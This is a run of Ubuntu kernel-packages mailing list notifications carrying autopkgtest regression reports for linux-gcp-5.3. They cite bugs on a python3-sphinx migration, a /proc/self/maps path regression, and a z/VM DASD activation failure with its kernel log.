All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-gcp-5.3/unknown (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-gcp-5.3 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1845808 Title: Use pyhon3-sphinx instead of python-sphinx for building html docs Status in linux package in Ubuntu: Fix Released Bug description: SRU Justification Impact: Python2 is nearing eol and has been demoted to universe in eoan. We have build dependencies on python-sphinx and python-sphinx- rtd-theme for generating html docs, which are python2 tools but have python3 replacements. Fix: Switch to using ptyon3-sphinx and python3-sphinx-rtd-theme. Test Case: I've built the linux-doc package using the python3 packages, and it works perfectly well. Regression Potential: These are only used for generating html documentation files, so any regressions would only be seen there. I saw no regression in the generated html documentation in my test build. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1845808/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1842382] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-gcp-5.3/unknown (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-gcp-5.3 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1842382 Title: /proc/self/maps paths missing on live session (was vlc won't start; eoan 19.10 & bionic 18.04 ubuntu/lubuntu/kubuntu/xubuntu/ubuntu-mate dailies) Status in linux package in Ubuntu: Fix Released Status in linux source package in Disco: Fix Released Status in linux source package in Eoan: Fix Released Bug description: SRU Justification Impact: A patch to enable mounting overlayfs over shiftfs introduced a regression in /proc/pid/maps when a proc mount over an overlayfs mount is accessed from within a chroot. All paths within the file are / instead of paths to the files backing memory-mapped regions. This is causing issues in several different configurations. Fix: Revert the offending patch. Test Case: A simple reproducer can be found attached in lp1842382.sh. Regression Potential: This reverts to the previous behavior. Mounting overlayfs over shiftfs will not work until a fixed patch is applied. --- Using Lubuntu 19.10 daily 'live' : (later confirmed with Ubuntu/kubuntu/xubuntu too if `vlc` is added if not already present) From menu option, from pcmanfm-qt (trying to open an appropriate file), or from terminal I've been unable to start vlc. lubuntu@lubuntu:~$ vlc VLC media player 3.0.8 Vetinari (revision 3.0.8-0-gf350b6b5a7) lubuntu@lubuntu:~$ No crash reports are visible (/var/crash/ is empty) and I see no reason, but I cannot get vlc to play files, or open. I'll continue to explore as I'm able. QA-test on lenovo thinkpad x201 (i5-m520, 4gb, i915) ProblemType: Bug DistroRelease: Ubuntu 19.10 Package: vlc 3.0.8-2 ProcVersionSignature: Ubuntu 5.2.0-15.16-generic 5.2.9 Uname: Linux 5.2.0-15-generic x86_64 ApportVersion: 2.20.11-0ubuntu7 Architecture: amd64 CasperVersion: 1.415 CurrentDesktop: LXQt Date: Tue Sep 3 06:03:17 2019 LiveMediaBuild: Lubuntu 19.10 "Eoan Ermine" - Alpha amd64 (20190902) SourcePackage: vlc UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1842382/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1845323] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-gcp-5.3/unknown (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-gcp-5.3 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1845323 Title: Trying to online dasd drive results in invalid input/output from the kernel on z/VM Status in Ubuntu on IBM z Systems: Fix Released Status in linux package in Ubuntu: Fix Released Bug description: SRU Justification: == [Impact] * Trying to online dasd drive results in invalid input/output from the kernel on z/VM [Fix] * Ignore errors from non-essential metadata reads, which may or may not be implemented by the storage server or z/VM. [Test Case] * Ubuntu on z/VM guest installation and selecting at least one DASD device (that's not defined as dedicated). * Alternatively doing an Ubuntu on z/VM guest installation on zFCP/SCSI disk and manually activating a DASD device post-install with 'chzdev -e '. [Regression Potential] * The kernel (aka DASD module) currently just fails on activating a (non dedicated) DASD. * But regressions might be introduced in the DASD stack so that is fails later on LPAR installation, too - but this can easily be tested (and will be). * The chance that zFCP/SCSI disks are harmed by accident is quite low, since this is a very different stack. [Other Info] * This is a regression that was introduced with the thin dasd provisioning feature that landed upstream with kernel 5.2/5.3, so affects Eoan only. __ Sep 25 12:06:39 s390-dasd[4637]: ECKD DASD 0.0.0200 configure failed Sep 25 12:06:39 s390-dasd[4637]: Error: Could not write file /sys/bus/ccw/drivers/dasd-eckd/0.0.0200/online: Input/output error Sep 25 12:06:39 s390-dasd[4637]: Configuring devices in the active configuration only Sep 25 12:06:39 main-menu[421]: WARNING **: Configuring 's390-dasd' failed with error code 1 Sep 25 12:06:39 main-menu[421]: WARNING **: Menu item 's390-dasd' failed. Sep 25 12:06:39 kernel: [ 137.472853] dasd-eckd.401b68: 0.0.0200: A channel path to the device has become operational Sep 25 12:06:39 kernel: [ 137.473914] dasd-eckd.6b7759: 0.0.0200: Reading the volume storage information failed with rc=-5 Sep 25 12:06:39 kernel: [ 137.473917] dasd.3e7d29: 0.0.0200 Setting the DASD online with discipline ECKD failed with rc=-5 Sep 25 12:06:39 kernel: [ 137.473918] [ cut here ] Sep 25 12:06:39 kernel: [ 137.473943] WARNING: CPU: 0 PID: 4638 at kernel/module.c:1137 module_put.part.0+0xe2/0xe8 Sep 25 12:06:39 kernel: [ 137.473944] Modules linked in: lcs ctcm fsm zfcp scsi_transport_fc dasd_fba_mod dasd_eckd_mod dasd_mod qeth_l2 pkey crc32_vx_s390 qeth qdio zcrypt_cex4 ccwgroup zcrypt Sep 25 12:06:39 kernel: [ 137.473953] CPU: 0 PID: 4638 Comm: chzdev Not tainted 5.3.0-10-generic #11-Ubuntu Sep 25 12:06:39 kernel: [ 137.473954] Hardware name: IBM 2964 N63 400 (z/VM 6.4.0) Sep 25 12:06:39 kernel: [ 137.473955] Krnl PSW : 0704c0018000 2b2c3372 (module_put.part.0+0xe2/0xe8) Sep 25 12:06:39 kernel: [ 137.473958]R:0 T:1 IO:1 EX:1 Key:0 M:1 W:0 P:0 AS:3 CC:0 PM:0 RI:0 EA:3 Sep 25 12:06:39 kernel: [ 137.473959] Krnl GPRS: 0004 0006 0024 0007 Sep 25 12:06:39 kernel: [ 137.473960]0007 7f2ce800 fffb 03ff80151578 Sep 25 12:06:39 kernel: [ 137.473961]fffb 03ff80074df8 03ff80151900 78105800 Sep 25 12:06:39 kernel: [ 137.473962]7e17e600 0bf8 2b2c336e 03e000c5fb08 Sep 25 12:06:39 kernel: [ 137.473969] Krnl Code: 2b2c3362: c0200048859a larl%r2,2bbd3e96 Sep 25 12:06:39 kernel: [ 137.473969]2b2c3368: c0e5fffe16a4 brasl %r14,2b2860b0 Sep 25 12:06:39 kernel: [ 137.473969] #2b2c336e: a7f40001 brc 15,2b2c3370 Sep 25 12:06:39 kernel: [ 137.473969] >2b2c3372: a7f4ffb1 brc 15,2b2c32d4 Sep 25 12:06:39 kernel: [ 137.473969]2b2c3376: 0707 bcr 0,%r7 Sep 25 12:06:39 kernel: [ 137.473969]2b2c3378: c004 brcl0,2b2c3378 Sep 25 12:06:39 kernel: [ 137.473969]2b2c337e: ec280006007c
